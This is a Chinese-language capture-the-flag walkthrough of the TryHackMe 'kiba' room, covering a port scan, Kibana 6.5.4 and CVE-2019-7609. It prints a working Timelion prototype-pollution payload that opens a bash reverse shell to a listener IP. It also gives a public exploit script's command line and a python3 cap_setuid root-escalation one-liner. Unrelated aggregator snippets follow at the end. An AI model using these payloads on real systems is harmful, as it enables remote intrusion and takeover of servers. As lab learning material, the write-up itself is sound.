【THM】kiba练习

【THM】kiba练习

与本文相关的TryHackMe实验房间链接:TryHackMe | kiba

简介:识别数据可视化仪表板中允许执行远程代码执行的关键安全缺陷。

你能完成这个挑战吗?

image-20241006100106153

image-20241006110806362

第一题:基于原型编程的语言特有的漏洞是什么?

知识盲区,问了AI

image-20241006100534576

原型链修改

原型链篡改是指攻击者通过修改对象的原型链来影响对象的行为或属性。这种攻击在基于原型的语言(如JavaScript)中特别常见,因为对象的属性可以通过原型链访问。

具体来说,JavaScript中的每个对象都有一个内部链接到其原型对象的属性(通常是__proto__或通过Object.getPrototypeOf获取)。如果攻击者能够修改某个对象的原型,或者将恶意属性添加到原型对象上,那么所有继承自该原型的对象都会受到影响。

例如,假设一个对象的原型被篡改,攻击者可以添加一个方法,该方法会执行恶意代码。所有从这个原型继承的对象都会继承这个方法,从而造成安全隐患。

以下是一个简单的示例:

// 原始对象
let obj = {};// 改变原型
Object.prototype.isAdmin = function() {return true;
};// 现在所有对象都可以调用isAdmin方法
console.log(obj.isAdmin()); // 输出: true

在这个例子中,攻击者通过修改Object.prototype,使得所有对象都获得了isAdmin方法,可能导致未授权的访问或信息泄露。为了防范这种攻击,可以避免直接修改内置对象的原型或使用Object.create(null)创建不继承原型的对象。

image-20241006100714957

第二题:服务器中安装的可视化仪表板是什么版本?

第一步

端口扫描

首先使用nmap对端口进行扫描

nmap -Pn -sV -p1-10000 -T4 10.10.59.145

image-20241006101435463

可以发现目标开放了4个端口:22/tcp ssh服务、80/tcp http服务

5044/tcp lxi-evntsvc服务(一个与 Windows 系统相关的服务,通常被称为 "LXI Event Service"。它主要用于管理和处理与 LXILAN eXtensions for Instrumentation相关的事件。LXI 是一种用于测试和测量仪器的网络协议,旨在提高设备间的互操作性和灵活性。)

5601/tcp esmagent(指 "Enterprise System Management Agent",通常用于企业环境中的系统管理和监控。它是一个代理程序,能够收集和报告系统状态、性能数据和其他监控信息,通常与中央管理系统或监控工具集成。)

第二步

访问网站

我们先进入网站看看界面

80端口:

image-20241006101757174

5044端口:

image-20241006101919254

5601端口:

image-20241006101852977

第三步

信息收集

网页源码没有藏什么东西,我们分析5601端口的kibana

Kibana 是 ELK Stack(Elasticsearch, Logstash, Kibana)的重要组成部分, 一个开源数据可视化和分析工具,广泛用于数据监控、分析和可视化场景。

我们可以在设置中看到可视化仪表盘的版本为6.5.4:

image-20241006102311789

Elasticsearch 是一个基于 Lucene 的开源搜索和分析引擎,专为处理大规模数据而设计。它支持全文搜索、实时数据分析和复杂的查询功能。

Elasticsearch 常与 Logstash 和 Kibana 一起使用,构成 ELK Stack,广泛应用于日志分析、实时数据监控和搜索解决方案。

第三题:此漏洞的 CVE 编号是多少?格式为:CVE-0000-0000

根据版本搜寻漏洞

在https://www.exploit-db.com/中没有搜到

image-20241006102942540

上google:

image-20241006103023628

image-20241006103417370

第四题:破坏机器并找到user.txt

第一步

寻找漏洞利用方式

在网上搜寻相关的漏洞利用方式:

image-20241006103626905

我们依照其中的步骤进行复现

第二步

复现漏洞

首先监听端口,在Timelion栏使用POC:

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/10.10.21.109/6666 0>&1");process.exit()//').props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ').es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i>& /dev/tcp/10.10.21.109/6666 0>&1\'");//').props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

再在左侧面板中转到Canvas栏应该就可以接收到反弹shell(这里之前失败了一次所以ip地址更改了):

image-20241006110734382

难以接收shell可以在此用github上的一键利用脚本:https://github.com/LandGrey/CVE-2019-7609

python CVE-2019-7609-kibana-rce.py -u 10.10.224.205:5601 -host 10.10.21.109 -port 6666 --shell

有了shell我们直接获取user.txt

image-20241006110942218

第五题:您将如何递归地列出所有这些Capabilities?

Capabilities 是一个概念,它提供了一个安全系统,允许将 root 权限“划分”为不同的值

getcap -r /

getcap 这个命令用于显示文件的能力信息。Linux 提供了一种称为能力(capabilities)的权限机制,可以更细粒度地控制程序的权限,而不是仅依赖传统的用户权限(如 root 权限)

-r 这个选项表示递归操作

image-20241006111903752

第六题:提升权限并获取root.txt

第一步

查看我们的权限

find / -type f -perm -04000 -ls 2>/dev/null

image-20241006112644132

搜索并没有什么能用的

根据上一题的提示,我们可以用这条命令来看我们的能力:

getcap -r /

但是会输出一大堆错误的数据,因此我们再添上不要输出错误的信息

getcap -r / 2>/dev/null

2>/dev/null 将标准错误(文件描述符 2)重定向到 /dev/null

image-20241006112322587

我们对输出进行分析:

/home/kiba/.hackmeplease/python3 = cap_setuid+ep	
/usr/bin/mtr = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/systemd-detect-virt = cap_dac_override,cap_sys_ptrace+ep

cap_setuid 允许程序在执行过程中更改其用户 ID。这通常用于需要临时提升权限的程序。

cap_net_raw 允许程序发送和接收原始网络数据包。这对于网络工具(如 MTR,混合了 traceroute 和 ping)来说是必需的,因为它需要直接与网络协议交互。

cap_dac_override:绕过文件访问权限检查。这使得程序能够访问所有文件,无论其权限如何。

cap_sys_ptrace:允许使用 ptrace 系统调用进行调试或跟踪其他进程。

+ep 表示“有效权限”(effective permissions)和“保留权限”

第二步

提升我们的权限

总之我们发现有我们能力能够利用的提权命令不多,但我们找到了python:

image-20241006113113948

image-20241006113138436

我们运行以下命令提权:

/home/kiba/.hackmeplease/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

image-20241006113319590

image-20241006113349820

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/809042.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

信息学奥赛复赛复习13-CSP-J2021-02插入排序-排序稳定性、插入排序、sort排序、结构体、计数排序

PDF文档公众号回复关键字:202410061P7910 [CSP-J 2021] 插入排序 [题目描述] 插入排序是一种非常常见且简单的排序算法。小 Z 是一名大一的新生,今天 H 老师刚刚在上课的时候讲了插入排序算法。 假设比较两个元素的时间为 O(1),则插入排序可以以 O(n^2) 的时间复杂度完成长度…

信息学奥赛复赛复习13-CSP-J2021-02插入排序-排序稳定性、插入排序、sort排序、结构图、计数排序

PDF文档公众号回复关键字:202410061P7910 [CSP-J 2021] 插入排序 [题目描述] 插入排序是一种非常常见且简单的排序算法。小 Z 是一名大一的新生,今天 H 老师刚刚在上课的时候讲了插入排序算法。 假设比较两个元素的时间为 O(1),则插入排序可以以 O(n^2) 的时间复杂度完成长度…

vue3 watch方法---监视基本类型数据

watch 监听定义的数据发生改变的时候执行什么函数 watch 方法有两个参数 watch(sum,箭头函数) 这个箭头函数里面有两个参数(newValue,oldValue)=> {},如下代码<template><!-- watch;监视数据变化 vue3 可以监视一下四种数据类型:ref定义的数据reactive 定义的…

2024-2025-1 20241421 《计算机基础与程序设计》第二周学习总结

这个作业属于哪个课程 2024-2025-1-计算机基础与程序设计这个作业要求在哪里 https://www.cnblogs.com/rocedu/p/9577842.html#WEEK02这个作业的目标 数字化、信息安全、自学教材计算机科学概论(第七版)第1章并完成云班课测试、 《C语言程序设计》第1章并完成云班课测试作业正…

学期(2024-2025-1) 学号20241425 《计算机基础与程序设计》第2周学习总结

学期(2024-2025-1) 学号20241425 《计算机基础与程序设计》第2周学习总结 作业信息这个作业属于哪个课程 <班级的链接>(2024-2025-1-计算机基础与程序设计)这个作业要求在哪里 <作业要求的链接>([2024-2025-1计算机基础与程序设计第二周作业]https://www.cnblo…

foobar2000 v2.1.6 汉化版

foobar2000 v2.1.6 汉化版 -----------------------【软件截图】---------------------- -----------------------【软件介绍】---------------------- foobar2000 是一个 Windows 平台下的高级音频播放器.包含完全支持 unicode 及支持播放增益的高级标签功能. 特色: * 支持的…

面相快速入门教程3面部与年龄

3 面部与年龄0 开始探索自己容貌的最简单方法之一,就是学会观察自己人生旅程的路线图--基于此时此刻的自己,每一个十年,甚至每一段岁月都是怎样的。 每个主要特征大约代表你人生中的一个十年。一个大的、强烈的或特别美丽的特征被认为意味着这些年总体上将是积极的。此外,这…

【VMware VCF】使用 SFTP 服务器备份 VCF 核心组件的配置文件。

可以定期对 VMware Cloud Foundation 环境中的相关核心组件(如 SDDC Manager、NSX Manager 以及 vCenter Server 等)创建配置备份,以防止当意外故障或数据丢失时,能够进行恢复。默认情况下,NSX Manager 组件的备份将创建并存储在 SDDC Manager 设备中内置的 SFTP 服务器上…

搭建Redis“主-从-从”模式集群并使用 RedisTemplate 实现读写分离

一、理论相关 我们知道,Redis具有高可靠性,其含义包括:数据尽量少丢失 - AOF 和 RDB 服务尽量少中断 - 增加副本冗余量,将一份数据同时保存在多个实例上,即主从库模式Redis主从库模式 - 保证数据副本的一致(读写分离):读操作:主库、从库都可以接收 写操作:首先到主库…

折腾笔记[2]-跨平台打包tauri程序

在macOS(arm64)平台打包tauri程序到Windows(amd64)平台. Packaging a Tauri application for the Windows (amd64) platform from macOS (arm64).摘要 在macOS(arm64)平台打包tauri程序到Windows(amd64)平台. Abstract Packaging a Tauri application for the Windows (amd64) …

博客格式-Markdown学习

标题 (#+空格+标题名字 一级标题) (##+空格+标题名字 二级标题) (###+空格+标题名字 三级标题) 字体 加粗 斜体 加粗斜体 划线 引用名人名言分割线图片超链接 百度 表格姓名 年龄 性别骆同学 15 男代码 int main(){cout<<"helloworld"return 0; }a,n=lis…